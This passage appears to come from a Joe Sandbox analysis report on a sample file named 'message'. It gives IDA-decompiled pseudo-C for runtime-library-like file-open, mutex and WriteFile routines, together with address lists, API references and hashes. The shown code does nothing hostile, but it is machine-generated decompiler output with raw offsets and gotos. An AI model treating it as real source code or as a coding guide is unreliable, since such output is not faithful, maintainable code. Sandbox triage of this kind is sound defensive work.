								return E00424873(7, _v4);
							}
						} else {
							return E00424873(8, _v4);
						}
					}
				} else {
					return E00424873(7, _v4);
				}
			}

0x0041ad73
0x0041ad78
0x0041ad85
0x0041ad89
0x0041ad90
0x0041ad94
0x0041ad98
0x0041ad9c
0x0041ada5
0x0041adaa
0x0041adaf
0x0041adb3
0x0041adb8
0x0041adbc
0x0041adc1
0x0041adc5
0x0041addc
0x0041adf4
0x0041adf5
0x0041ae02
0x0041ae6a
0x0041ae79
0x0041ae04
0x0041ae0a
0x0041ae2f
0x0041ae68
0x00000000
0x0041ae31
0x0041ae45
0x0041ae45
0x0041ae0c
0x0041ae20
0x0041ae20
0x0041ae0a
0x0041addf
0x0041adf1
0x0041adf1

APIs

lstrlenA.KERNEL32 ref: 0041ADCA

Part of subcall function 0041BC30: WaitForSingleObject.KERNEL32(?,?), ref: 0041BCA3
Part of subcall function 0041BC30: GetOverlappedResult.KERNEL32(000000FF,?,00000001,00000000), ref: 0041BCB8

Strings

T, xrefs: 0041ADAA
D, xrefs: 0041ADA5
G@,, xrefs: 0041AD73
., xrefs: 0041ADBC

Memory Dump Source

Source File: 00000000.00000002.303750221.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.303744957.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.303886469.000000000042E000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.303918997.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.303929663.0000000000434000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_message.jbxd

Similarity

API ID: ObjectOverlappedResultSingleWaitlstrlen
String ID: .$D$G@,$T
API String ID: 1203007601-4015728813
Opcode ID: f4b806bf02d42cab6389b1d5623ed4ac62eeef1efafac6ca423e87d2abbb3ba1
Instruction ID: 3bc75d6c25ee899c0d3cbf15c6baa3f2471e4579f1b3dcf940514d54ae42f5c8
Opcode Fuzzy Hash: f4b806bf02d42cab6389b1d5623ed4ac62eeef1efafac6ca423e87d2abbb3ba1
Instruction Fuzzy Hash: 2731C1B621C3C19BC304EA2DD44169FBBD49BE5314F44486FF19583282DB68D548C7AF

Uniqueness

Uniqueness Score: -1.00%

Function 0042C576, Relevance: 9.0, APIs: 4, Strings: 1, Instructions: 247
fileCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0042C576(void* __ecx, intOrPtr* _a4, signed int* _a8, CHAR* _a12, signed int _a16, signed int _a20) {
				signed int _v5;
				char _v6;
				signed int _v12;
				long _v16;
				signed char _v18;
				long _v20;
				struct _SECURITY_ATTRIBUTES _v32;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				signed int _t82;
				signed int _t84;
				signed char _t85;
				signed int _t93;
				signed int _t94;
				signed int _t100;
				signed int* _t102;
				long _t103;
				signed int _t107;
				signed int* _t112;
				signed int _t115;
				void* _t117;
				long _t119;
				signed int _t120;
				intOrPtr* _t121;
				void* _t122;
				signed int _t131;
				signed char _t134;
				signed int _t138;
				long _t141;
				void* _t142;
				signed int _t144;
				void* _t153;

				_t122 = __ecx;
				_t134 = _a16;
				_v32.nLength = 0xc;
				_v32.lpSecurityDescriptor = 0;
				if(_t134 >= 0) {
					_v32.bInheritHandle = 1;
					_v5 = 0;
				} else {
					_v32.bInheritHandle = 0;
					_v5 = 0x10;
				}
				if((0x00008000 & _t134) != 0) {
					L7:
					_t119 = 3;
					_t82 = _t134 & _t119;
					if(_t82 == 0) {
						_v20 = 0x80000000;
						L13:
						if(_t122 == 0x10) {
							_v12 = 0;
							L22:
							_t84 = _t134 & 0x00000700;
							__eflags = _t84 - 0x400;
							if(__eflags > 0) {
								__eflags = _t84 - 0x500;
								if(_t84 == 0x500) {
									L37:
									_v16 = 1;
									L38:
									_t85 = _a16;
									__eflags = 0x00000100 & _t85;
									_t141 = 0x80;
									if((0x00000100 & _t85) != 0) {
										_t131 =  *0x432210; // 0x0
										__eflags =  !_t131 & _a20;
										if(( !_t131 & _a20) >= 0) {
											_t141 = 1;
											__eflags = 1;
										}
									}
									__eflags = _t85 & 0x00000040;
									if((_t85 & 0x00000040) != 0) {
										_v18 = _v18 | 0x00000001;
										_t141 = _t141 | 0x04000000;
										__eflags =  *0x432214 - 2;
										if( *0x432214 == 2) {
											_t34 =  &_v12;
											 *_t34 = _v12 | 0x00000004;
											__eflags =  *_t34;
										}
									}
									__eflags = _t85 & 0x00000010;
									if((_t85 & 0x00000010) != 0) {
										_t141 = _t141 | 0x00000100;
										__eflags = _t141;
									}
									__eflags = _t85 & 0x00000020;
									if(__eflags == 0) {
										__eflags = _t85 & 0x00000010;
										if(__eflags != 0) {
											_t141 = _t141 | 0x10000000;
											__eflags = _t141;
										}
									} else {
										_t141 = _t141 | 0x08000000;
									}
									_t138 = E0042C2A3(_t119, 0x100, _t141, __eflags);
									_t120 = _t119 | 0xffffffff;
									__eflags = _t138 - _t120;
									if(_t138 != _t120) {
										 *_a4 = 1;
										 *_a8 = _t138;
										_t142 = CreateFileA(_a12, _v20, _v12,  &_v32, _v16, _t141, 0);
										__eflags = _t142 - _t120;
										if(_t142 == _t120) {
											L56:
											E00429D73(GetLastError());
											goto L52;
										}
										_t94 = GetFileType(_t142);
										__eflags = _t94;
										if(_t94 != 0) {
											__eflags = _t94 - 2;
											if(_t94 != 2) {
												__eflags = _t94 - 3;
												if(_t94 == 3) {
													_t51 =  &_v5;
													 *_t51 = _v5 | 0x00000008;
													__eflags =  *_t51;
												}
											} else {
												_v5 = _v5 | 0x00000040;
											}
											E0042C0A5(_t138, _t142);
											_v5 = _v5 | 0x00000001;
											_t121 = 0x432760 + (_t138 >> 5) * 4;
											_t100 = _v5;
											_t127 =  *_t121;
											_t144 = (_t138 & 0x0000001f) + (_t138 & 0x0000001f) * 8 << 2;
											_v5 = _t100;
											_t61 =  &_v5;
											 *_t61 = _v5 & 0x00000048;
											__eflags =  *_t61;
											 *((char*)(_t144 +  *_t121 + 4)) = _t100;
											if( *_t61 != 0) {
												L66:
												__eflags = _v5;
												if(_v5 == 0) {
													__eflags = _a16 & 0x00000008;
													if((_a16 & 0x00000008) != 0) {
														_t74 =  *_t121 + 4; // 0x4
														_t102 = _t144 + _t74;
														 *_t102 =  *_t102 | 0x00000020;
														__eflags =  *_t102;
													}
												}
												_t93 = _t138;
												goto L70;
											} else {
												__eflags = _t100;
												if(_t100 >= 0) {
													goto L66;
												}
												__eflags = _a16 & 0x00000002;
												if(__eflags == 0) {
													goto L66;
												}
												_t103 = E0042BB80(__eflags, _t138, 0xffffffff, 2);
												__eflags = _t103 - 0xffffffff;
												_v20 = _t103;
												if(_t103 != 0xffffffff) {
													_v6 = 0;
													__eflags = E004294AE(_t138,  &_v6, 1);
													if(__eflags != 0) {
														L75:
														__eflags = E0042BB80(__eflags, _t138, 0, 0) - 0xffffffff;
														if(__eflags != 0) {
															goto L66;
														}
														L76:
														_t107 = E00429895(__eflags, _t138);
														L35:
														_t93 = _t107 | 0xffffffff;
														goto L70;
													}
													__eflags = _v6 - 0x1a;
													if(__eflags != 0) {
														goto L75;
													}
													__eflags = E0042CD8A(_t121, _t127, 0x700, _t138, _t144, __eflags, _t138, _v20) - 0xffffffff;
													if(__eflags == 0) {
														goto L76;
													}
													goto L75;
												}
												__eflags =  *((intOrPtr*)(E00429D6A())) - 0x83;
												if(__eflags != 0) {
													goto L76;
												}
												goto L66;
											}
										}
										CloseHandle(_t142);
										goto L56;
									} else {
										 *((intOrPtr*)(E00429D61())) = 0x18;
										_t112 = E00429D6A();
										 *_t112 =  *_t112 & 0x00000000;
										__eflags =  *_t112;
										L52:
										_t93 = _t120;
										L70:
										return _t93;
									}
								}
								__eflags = _t84 - 0x600;
								if(_t84 == 0x600) {
									L36:
									_v16 = 5;
									goto L38;
								}
								__eflags = _t84 - 0x700;
								if(_t84 == 0x700) {
									goto L37;
								}
								L34:
								 *((intOrPtr*)(E00429D61())) = 0x16;
								_t107 = E00429D6A();
								 *_t107 = 0;
								goto L35;
							}
							if(__eflags == 0) {
								L30:
								_v16 = _t119;
								goto L38;
							}
							__eflags = _t84;
							if(_t84 == 0) {
								goto L30;
							}
							__eflags = _t84 - 0x100;
							if(_t84 == 0x100) {
								_v16 = 4;
								goto L38;
							}
							__eflags = _t84 - 0x200;
							if(_t84 == 0x200) {
								goto L36;
							}
							__eflags = _t84 - 0x300;
							if(_t84 != 0x300) {
								goto L34;
							}
							_v16 = 2;
							goto L38;
						}
						if(_t122 == 0x20) {
							_v12 = 1;
							goto L22;
						}
						if(_t122 == 0x30) {
							_v12 = 2;
							goto L22;
						}
						if(_t122 == 0x40) {
							_v12 = _t119;
							goto L22;
						}
						L17:
						 *((intOrPtr*)(E00429D61())) = 0x16;
						_t115 = E00429D6A();
						 *_t115 = 0;
						return _t115 | 0xffffffff;
					}
					_t117 = _t82 - 1;
					if(_t117 == 0) {
						_v20 = 0x40000000;
						goto L13;
					}
					if(_t117 != 1) {
						goto L17;
					} else {
						_v20 = 0xc0000000;
						goto L13;
					}
				} else {
					if((_t134 & 0x00000040) != 0) {
						L6:
						_v5 = _v5 | 0x00000080;
						goto L7;
					}
					_t153 =  *0x4324f0 - 0x8000; // 0x0
					if(_t153 == 0) {
						goto L7;
					}
					goto L6;
				}
			}

0x0042c576
0x0042c57c
0x0042c585
0x0042c58c
0x0042c58f
0x0042c59a
0x0042c5a1
0x0042c591
0x0042c591
0x0042c594
0x0042c594
0x0042c5ac
0x0042c5bf
0x0042c5c3
0x0042c5c6
0x0042c5c8
0x0042c5e2
0x0042c5e9
0x0042c5ec
0x0042c62e
0x0042c631
0x0042c638
0x0042c63f
0x0042c647
0x0042c678
0x0042c67d
0x0042c6ad
0x0042c6ad
0x0042c6b4
0x0042c6b4
0x0042c6b7
0x0042c6b9
0x0042c6be
0x0042c6c0
0x0042c6cb
0x0042c6cd
0x0042c6d1
0x0042c6d1
0x0042c6d1
0x0042c6cd
0x0042c6d2
0x0042c6d4
0x0042c6d6
0x0042c6da
0x0042c6e0
0x0042c6e7
0x0042c6e9
0x0042c6e9
0x0042c6e9
0x0042c6e9
0x0042c6e7
0x0042c6ed
0x0042c6f0
0x0042c6f2
0x0042c6f2
0x0042c6f2
0x0042c6f4
0x0042c6f6
0x0042c700
0x0042c702
0x0042c704
0x0042c704
0x0042c704
0x0042c6f8
0x0042c6f8
0x0042c6f8
0x0042c70f
0x0042c711
0x0042c714
0x0042c716
0x0042c73b
0x0042c744
0x0042c759
0x0042c75b
0x0042c75d
0x0042c771
0x0042c778
0x00000000
0x0042c77d
0x0042c760
0x0042c766
0x0042c768
0x0042c780
0x0042c783
0x0042c78b
0x0042c78e
0x0042c790
0x0042c790
0x0042c790
0x0042c790
0x0042c785
0x0042c785
0x0042c785
0x0042c796
0x0042c79b
0x0042c7a4
0x0042c7b3
0x0042c7b8
0x0042c7ba
0x0042c7bd
0x0042c7c0
0x0042c7c0
0x0042c7c0
0x0042c7c4
0x0042c7c8
0x0042c7f6
0x0042c7f6
0x0042c7fa
0x0042c7fc
0x0042c800
0x0042c804
0x0042c804
0x0042c808
0x0042c808
0x0042c808
0x0042c800
0x0042c80b
0x00000000
0x0042c7ca
0x0042c7ca
0x0042c7cc
0x00000000
0x00000000
0x0042c7ce
0x0042c7d2
0x00000000
0x00000000
0x0042c7d9
0x0042c7e1
0x0042c7e4
0x0042c7e7
0x0042c819
0x0042c825
0x0042c827
0x0042c83f
0x0042c84c
0x0042c84f
0x00000000
0x00000000
0x0042c851
0x0042c852
0x0042c69c
0x0042c69c
0x00000000
0x0042c69c
0x0042c829
0x0042c82d
0x00000000
0x00000000
0x0042c838
0x0042c83d
0x00000000
0x00000000
0x00000000
0x0042c83d
0x0042c7ee
0x0042c7f4
0x00000000
0x00000000
0x00000000
0x0042c7f4
0x0042c7c8
0x0042c76b
0x00000000
0x0042c718
0x0042c71d
0x0042c723
0x0042c728
0x0042c728
0x0042c72b
0x0042c72b
0x0042c80d
0x00000000
0x0042c80d
0x0042c716
0x0042c67f
0x0042c684
0x0042c6a4
0x0042c6a4
0x00000000
0x0042c6a4
0x0042c686
0x0042c688
0x00000000
0x00000000
0x0042c68a
0x0042c68f
0x0042c695
0x0042c69a
0x00000000
0x0042c69a
0x0042c649
0x0042c673
0x0042c673
0x00000000
0x0042c673
0x0042c64b
0x0042c64d
0x00000000
0x00000000
0x0042c64f
0x0042c651
0x0042c66a
0x00000000
0x0042c66a
0x0042c653
0x0042c658
0x00000000
0x00000000
0x0042c65a
0x0042c65f
0x00000000
0x00000000
0x0042c661
0x00000000
0x0042c661
0x0042c5f1
0x0042c625
0x00000000
0x0042c625
0x0042c5f6
0x0042c61c
0x00000000
0x0042c61c
0x0042c5fb
0x0042c617
0x00000000
0x0042c617
0x0042c5fd
0x0042c602
0x0042c608
0x0042c60d
0x00000000
0x0042c60f
0x0042c5ca
0x0042c5cb
0x0042c5d9
0x00000000
0x0042c5d9
0x0042c5ce
0x00000000
0x0042c5d0
0x0042c5d0
0x00000000
0x0042c5d0
0x0042c5ae
0x0042c5b1
0x0042c5bb
0x0042c5bb
0x00000000
0x0042c5bb
0x0042c5b3
0x0042c5b9
0x00000000
0x00000000
0x00000000
0x0042c5b9

APIs

CreateFileA.KERNEL32(80000000,80000000,0042E40C,0000000C,00000001,00000080,00000000,?,00000000,00000000), ref: 0042C753
GetFileType.KERNEL32(00000000), ref: 0042C760
CloseHandle.KERNEL32(00000000), ref: 0042C76B
GetLastError.KERNEL32 ref: 0042C771

Strings

H, xrefs: 0042C7C0

Memory Dump Source

Source File: 00000000.00000002.303750221.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.303744957.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.303886469.000000000042E000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.303918997.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.303929663.0000000000434000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_message.jbxd

Similarity

API ID: File$CloseCreateErrorHandleLastType
String ID: H
API String ID: 1809617866-2852464175
Opcode ID: 5acbd022d4c685c672e8b32a6492f5429315f7eb7d62e1f33d6d612d01017a3e
Instruction ID: 102a8983cbf31db5d01c2ed3558011b335ab8adb99a249c34fa16b283160ce35
Opcode Fuzzy Hash: 5acbd022d4c685c672e8b32a6492f5429315f7eb7d62e1f33d6d612d01017a3e
Instruction Fuzzy Hash: BD813730B042359AEF209BA4F8C57BF7B60AF02314F94415BE451A72C1C7BD8D46DB9A

Uniqueness

Uniqueness Score: -1.00%

Function 0040B300, Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 187
synchronizationCOMMON

Download Yara Rule

C-Code - Quality: 89%

			E0040B300(intOrPtr __ecx, char _a4, signed int _a8, signed int _a12, signed int _a16) {
				void* _v8;
				intOrPtr _v16;
				intOrPtr _v20;
				intOrPtr _v24;
				intOrPtr _v28;
				signed int _v32;
				char _v48;
				char _v52;
				signed int _v56;
				intOrPtr _v60;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				intOrPtr _t63;
				intOrPtr* _t67;
				intOrPtr _t72;
				char* _t73;
				signed int _t74;
				intOrPtr* _t77;
				signed int _t79;
				signed int _t83;
				signed int _t86;
				char _t91;
				intOrPtr _t107;
				signed int _t122;
				void* _t129;
				intOrPtr _t138;
				intOrPtr* _t141;
				signed int _t143;
				void* _t145;
				intOrPtr _t146;

				_push(0xffffffff);
				_push(E0042D358);
				_push( *[fs:0x0]);
				 *[fs:0x0] = _t146;
				_t63 =  *0x4310d8; // 0x2c0d4047
				_t138 = __ecx;
				_v24 = _t63;
				_v20 = _t146 - 0x2c;
				_v60 = __ecx;
				_v28 = 0xf;
				_v32 = 0;
				_v48 = 0;
				_v8 = 0;
				_t141 = E0042CF9D(_a4);
				_push(_t141);
				E00425C34(0, _t138, _t141, 0);
				_t67 = _t141;
				_t9 = _t67 + 1; // 0x1
				_t129 = _t9;
				do {
					_t107 =  *_t67;
					_t67 = _t67 + 1;
					_t155 = _t107;
				} while (_t107 != 0);
				E004028A0( &_v52, _t141, _t67 - _t129);
				_push(_t141);
				E004255BE(0, _t138, _t141, _t155);
				_t72 = _v28;
				if(_v32 != 0) {
					__eflags = _t72 - 0x10;
					_t73 = _v48;
					if(_t72 < 0x10) {
						_t73 =  &_v48;
					}
					_t74 = E00408BC0(0, _t138, _t138, 0x10, _t145, _t73);
					__eflags = _t74;
					if(_t74 != 0) {
						WaitForSingleObject( *(_t138 + 0x34), 0xffffffff);
						_t77 = E00407C10( &_a4,  &_v52);
						__eflags =  *_t77 -  *((intOrPtr*)(_t138 + 8));
						if( *_t77 ==  *((intOrPtr*)(_t138 + 8))) {
							_v8 = 1;
							_t79 = E004246FE(0x44);
							__eflags = _t79;
							if(_t79 == 0) {
								_t143 = 0;
								_v56 = 0;
							} else {
								 *((intOrPtr*)(_t79 + 0x14)) = 0;
								 *((intOrPtr*)(_t79 + 0x18)) = 0xf;
								 *((char*)(_t79 + 4)) = 0;
								 *((intOrPtr*)(_t79 + 0x34)) = 0xf;
								 *((intOrPtr*)(_t79 + 0x30)) = 0;
								 *((char*)(_t79 + 0x20)) = 0;
								_t143 = _t79;
								 *((intOrPtr*)(_t79 + 0x38)) = 0;
								 *((intOrPtr*)(_t79 + 0x40)) = 0;
								_v56 = _t143;
							}
							__eflags = _t143;
							_v8 = 0;
							if(_t143 != 0) {
								E004027B0(_t143,  &_v52, 0, 0xffffffff);
								_t83 = _a8;
								__eflags = _t83;
								if(_t83 != 0) {
									E00407D30(_t83);
								}
								 *(_t143 + 0x38) =  *(_t143 + 0x38) | 0x00000004;
								_push(_t143);
								 *(E0040B030(_t138 + 4)) = _t143;
								E004085E0(_t138 + 0x1c,  &_v56);
								__eflags = _a12;
								if(_a12 != 0) {
									_t122 =  *(_t143 + 0x38) | 0x00000001;
									__eflags = _t122;
									 *(_t143 + 0x38) = _t122;
									E004085E0(_t138 + 0x10,  &_v56);
								}
								_t86 =  *0x431c86; // 0x0
								__eflags = _a16;
								 *0x431c86 = 0x6e - _t86 * 0x21;
								if(_a16 != 0) {
									E00407650(0, _t138, _t143, _t143);
								}
								 *0x431c86 = 0x37;
								ReleaseMutex( *(_t138 + 0x34));
								E004023D0( &_v52);
								_t91 = 1;
							} else {
								ReleaseMutex( *(_t138 + 0x34));
								E004023D0( &_v52);
								_t91 = 0;
							}
							goto L26;
						}
						ReleaseMutex( *(_t138 + 0x34));
						__eflags = _v28 - 0x10;
						if(_v28 >= 0x10) {
							_push(_v48);
							L00424BCD();
						}
						goto L13;
					} else {
						__eflags = _v28 - 0x10;
						if(_v28 < 0x10) {
							L13:
							_t91 = 0;
							L26:
							 *[fs:0x0] = _v16;
							return E00424873(_t91, _v24);
						}
						_push(_v48);
						L00424BCD();
						_t91 = 0;
						goto L26;
					}
				}
				if(_t72 < 0x10) {
					goto L13;
				} else {
					_push(_v48);
					L00424BCD();
					_t91 = 0;
					goto L26;
				}
			}

0x0040b303
0x0040b305
0x0040b310
0x0040b311
0x0040b31b
0x0040b325
0x0040b327
0x0040b32a
0x0040b32d
0x0040b330
0x0040b337
0x0040b33a
0x0040b341
0x0040b349
0x0040b34b
0x0040b34c
0x0040b351
0x0040b356
0x0040b356
0x0040b360
0x0040b360
0x0040b362
0x0040b363
0x0040b363
0x0040b36e
0x0040b373
0x0040b374
0x0040b381
0x0040b384
0x0040b3a7
0x0040b3a9
0x0040b3ac
0x0040b3ae
0x0040b3ae
0x0040b3b4
0x0040b3b9
0x0040b3bb
0x0040b3db
0x0040b3ec
0x0040b3f3
0x0040b3f6
0x0040b41c
0x0040b420
0x0040b428
0x0040b42a
0x0040b452
0x0040b454
0x0040b42c
0x0040b42c
0x0040b434
0x0040b437
0x0040b43a
0x0040b43d
0x0040b440
0x0040b443
0x0040b445
0x0040b448
0x0040b44b
0x0040b44b
0x0040b46e
0x0040b470
0x0040b473
0x0040b497
0x0040b49c
0x0040b49f
0x0040b4a1
0x0040b4a7
0x0040b4a7
0x0040b4ac
0x0040b4b0
0x0040b4c0
0x0040b4c2
0x0040b4c7
0x0040b4ca
0x0040b4cf
0x0040b4cf
0x0040b4d5
0x0040b4dc
0x0040b4dc
0x0040b4e1
0x0040b4ee
0x0040b4f1
0x0040b4f7
0x0040b4fc
0x0040b4fc
0x0040b501
0x0040b50c
0x0040b515
0x0040b51a
0x0040b475
0x0040b479
0x0040b482
0x0040b487
0x0040b487
0x00000000
0x0040b473
0x0040b3fc
0x0040b402
0x0040b405
0x0040b40a
0x0040b40b
0x0040b410
0x00000000
0x0040b3bd
0x0040b3bd
0x0040b3c0
0x0040b413
0x0040b413
0x0040b51f
0x0040b522
0x0040b537
0x0040b537
0x0040b3c5
0x0040b3c6
0x0040b3ce
0x00000000
0x0040b3ce
0x0040b3bb
0x0040b389
0x00000000
0x0040b38f
0x0040b392
0x0040b393
0x0040b39b
0x00000000
0x0040b39b

APIs

Part of subcall function 0042CF9D: _strlen.LIBCMT ref: 0042CFA7
Part of subcall function 0042CF9D: _strcat.LIBCMT ref: 0042CFBB

WaitForSingleObject.KERNEL32(?,000000FF,?,00000001,00000001,00000049), ref: 0040B3DB
ReleaseMutex.KERNEL32(?,00000000,?), ref: 0040B3FC
ReleaseMutex.KERNEL32(?,?,?,00000000,?), ref: 0040B479
ReleaseMutex.KERNEL32(?,00000000,00000000,?,00000000,000000FF,?,?,00000000,?), ref: 0040B50C

Strings

G@,, xrefs: 0040B31B

Memory Dump Source

Source File: 00000000.00000002.303750221.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.303744957.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.303886469.000000000042E000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.303918997.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.303929663.0000000000434000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_message.jbxd

Similarity

API ID: MutexRelease$ObjectSingleWait_strcat_strlen
String ID: G@,
API String ID: 3541652364-3496681718
Opcode ID: bbe3c3d9775a934ed54bf2637917896e3d47ae8e4b803ca53556c35cce3aae03
Instruction ID: a78adba943f63fa3003e78eeb40ee91bd2e846ea5eff56f134e5d262998a29b7
Opcode Fuzzy Hash: bbe3c3d9775a934ed54bf2637917896e3d47ae8e4b803ca53556c35cce3aae03
Instruction Fuzzy Hash: B761C071900215AFCB14EF69D981AAEB7B4FF44304F50453EE416E7392DB38AA04CBD9

Uniqueness

Uniqueness Score: -1.00%

Function 0042BC9F, Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 145
fileCOMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 100%

			E0042BC9F(void* __ebx, void* __edx, void* __edi, void* __esi) {
				intOrPtr _t68;
				void** _t73;
				signed int _t74;
				long _t76;
				intOrPtr _t79;
				signed int _t81;
				char* _t86;
				int _t91;
				long _t93;
				intOrPtr* _t100;
				void* _t102;
				signed int _t107;
				char _t110;
				struct _OVERLAPPED* _t112;
				long _t115;
				signed int _t118;
				struct _OVERLAPPED* _t120;
				void* _t121;
				void* _t123;

				_t121 = _t123 - 0x3a0;
				_t68 =  *0x4310d8; // 0x2c0d4047
				_t112 = 0;
				 *((intOrPtr*)(_t121 + 0x39c)) = _t68;
				 *(_t121 - 0x78) = 0;
				 *((intOrPtr*)(_t121 - 0x7c)) = 0;
				if( *(_t121 + 0x3b0) != 0) {
					_t100 = 0x432760 + ( *(_t121 + 0x3a8) >> 5) * 4;
					_t118 = ( *(_t121 + 0x3a8) & 0x0000001f) + ( *(_t121 + 0x3a8) & 0x0000001f) * 8 << 2;
					__eflags =  *( *_t100 + _t118 + 4) & 0x00000020;
					if(__eflags != 0) {
						E0042CCFE(_t102, __eflags,  *(_t121 + 0x3a8), 0, 0, 2);
					}
					_t73 =  *_t100 + _t118;
					__eflags = _t73[1] & 0x00000080;
					if((_t73[1] & 0x00000080) == 0) {
						_t74 = WriteFile( *_t73,  *(_t121 + 0x3ac),  *(_t121 + 0x3b0), _t121 - 0x80, _t112);
						__eflags = _t74;
						if(_t74 == 0) {
							 *(_t121 - 0x6c) = GetLastError();
						} else {
							 *(_t121 - 0x6c) = _t112;
							 *(_t121 - 0x78) =  *(_t121 - 0x80);
						}
					} else {
						__eflags =  *(_t121 + 0x3b0) - _t112;
						 *(_t121 - 0x74) =  *(_t121 + 0x3ac);
						 *(_t121 - 0x6c) = _t112;
						if( *(_t121 + 0x3b0) <= _t112) {
							L25:
							_t79 =  *_t100;
							__eflags =  *(_t79 + _t118 + 4) & 0x00000040;
							if(( *(_t79 + _t118 + 4) & 0x00000040) == 0) {
								L28:
								 *((intOrPtr*)(E00429D61())) = 0x1c;
								_t81 = E00429D6A();
								 *_t81 = _t112;
								L29:
								_t77 = _t81 | 0xffffffff;
								L31:
								goto L32;
							}
							__eflags =  *( *(_t121 + 0x3ac)) - 0x1a;
							if( *( *(_t121 + 0x3ac)) != 0x1a) {
								goto L28;
							}
							_t77 = 0;
							goto L31;
						} else {
							goto L6;
						}
						do {
							L6:
							_t107 =  *(_t121 - 0x74) -  *(_t121 + 0x3ac);
							__eflags = _t107;
							_t86 = _t121 - 0x68;
							 *(_t121 - 0x70) = _t112;
							do {
								__eflags = _t107 -  *(_t121 + 0x3b0);
								if(_t107 >=  *(_t121 + 0x3b0)) {
									break;
								}
								 *(_t121 - 0x74) =  *(_t121 - 0x74) + 1;
								_t110 =  *( *(_t121 - 0x74));
								_t107 = _t107 + 1;
								__eflags = _t110 - 0xa;
								if(_t110 == 0xa) {
									 *((intOrPtr*)(_t121 - 0x7c)) =  *((intOrPtr*)(_t121 - 0x7c)) + 1;
									 *_t86 = 0xd;
									_t86 = _t86 + 1;
									_t34 = _t121 - 0x70;
									 *_t34 =  &( *(_t121 - 0x70)->Internal);
									__eflags =  *_t34;
								}
								 *_t86 = _t110;
								_t86 = _t86 + 1;
								 *(_t121 - 0x70) =  &( *(_t121 - 0x70)->Internal);
								__eflags =  *(_t121 - 0x70) - 0x400;
							} while ( *(_t121 - 0x70) < 0x400);
							_t115 = _t86 - _t121 - 0x68;
							_t91 = WriteFile( *( *_t100 + _t118), _t121 - 0x68, _t115, _t121 - 0x80, 0);
							__eflags = _t91;
							if(_t91 == 0) {
								 *(_t121 - 0x6c) = GetLastError();
								L16:
								_t112 = 0;
								__eflags = 0;
								L17:
								_t76 =  *(_t121 - 0x78);
								__eflags = _t76 - _t112;
								if(_t76 != _t112) {
									_t77 = _t76 -  *((intOrPtr*)(_t121 - 0x7c));
									__eflags = _t76 -  *((intOrPtr*)(_t121 - 0x7c));
									goto L31;
								}
								__eflags =  *(_t121 - 0x6c) - _t112;
								if( *(_t121 - 0x6c) == _t112) {
									goto L25;
								}
								_t120 = 5;
								__eflags =  *(_t121 - 0x6c) - _t120;
								if( *(_t121 - 0x6c) != _t120) {
									_t81 = E00429D73( *(_t121 - 0x6c));
								} else {
									 *((intOrPtr*)(E00429D61())) = 9;
									_t81 = E00429D6A();
									 *_t81 = _t120;
								}
								goto L29;
							}
							_t93 =  *(_t121 - 0x80);
							 *(_t121 - 0x78) =  *(_t121 - 0x78) + _t93;
							__eflags = _t93 - _t115;
							if(_t93 < _t115) {
								goto L16;
							}
							_t112 = 0;
							__eflags =  *(_t121 - 0x74) -  *(_t121 + 0x3ac) -  *(_t121 + 0x3b0);
						} while ( *(_t121 - 0x74) -  *(_t121 + 0x3ac) <  *(_t121 + 0x3b0));
					}
					goto L17;
				} else {
					_t77 = 0;
					L32:
					return E00424873(_t77,  *((intOrPtr*)(_t121 + 0x39c)));
				}
			}

0x0042bca0
0x0042bcad
0x0042bcb3
0x0042bcbb
0x0042bcc1
0x0042bcc4
0x0042bcc7
0x0042bce7
0x0042bcf0
0x0042bcf3
0x0042bcf8
0x0042bd04
0x0042bd09
0x0042bd0e
0x0042bd10
0x0042bd14
0x0042bdfa
0x0042be00
0x0042be02
0x0042be15
0x0042be04
0x0042be07
0x0042be0a
0x0042be0a
0x0042bd1a
0x0042bd1a
0x0042bd26
0x0042bd29
0x0042bd2c
0x0042be25
0x0042be25
0x0042be27
0x0042be2c
0x0042be3d
0x0042be42
0x0042be48
0x0042be4d
0x0042be4f
0x0042be4f
0x0042be57
0x00000000
0x0042be58
0x0042be34
0x0042be37
0x00000000
0x00000000
0x0042be39
0x00000000
0x00000000
0x00000000
0x00000000
0x0042bd32
0x0042bd32
0x0042bd35
0x0042bd35
0x0042bd3b
0x0042bd3e
0x0042bd41
0x0042bd41
0x0042bd47
0x00000000
0x00000000
0x0042bd4c
0x0042bd4f
0x0042bd51
0x0042bd52
0x0042bd55
0x0042bd57
0x0042bd5a
0x0042bd5d
0x0042bd5e
0x0042bd5e
0x0042bd5e
0x0042bd5e
0x0042bd61
0x0042bd63
0x0042bd64
0x0042bd67
0x0042bd67
0x0042bd75
0x0042bd87
0x0042bd8d
0x0042bd8f
0x0042bdb6
0x0042bdb9
0x0042bdb9
0x0042bdb9
0x0042bdbb
0x0042bdbb
0x0042bdbe
0x0042bdc0
0x0042be54
0x0042be54
0x00000000
0x0042be54
0x0042bdc6
0x0042bdc9
0x00000000
0x00000000
0x0042bdcd
0x0042bdce
0x0042bdd1
0x0042be1d
0x0042bdd3
0x0042bdd8
0x0042bdde
0x0042bde3
0x0042bde3
0x00000000
0x0042bdd1
0x0042bd91
0x0042bd94
0x0042bd97
0x0042bd99
0x00000000
0x00000000
0x0042bda4
0x0042bda6
0x0042bda6
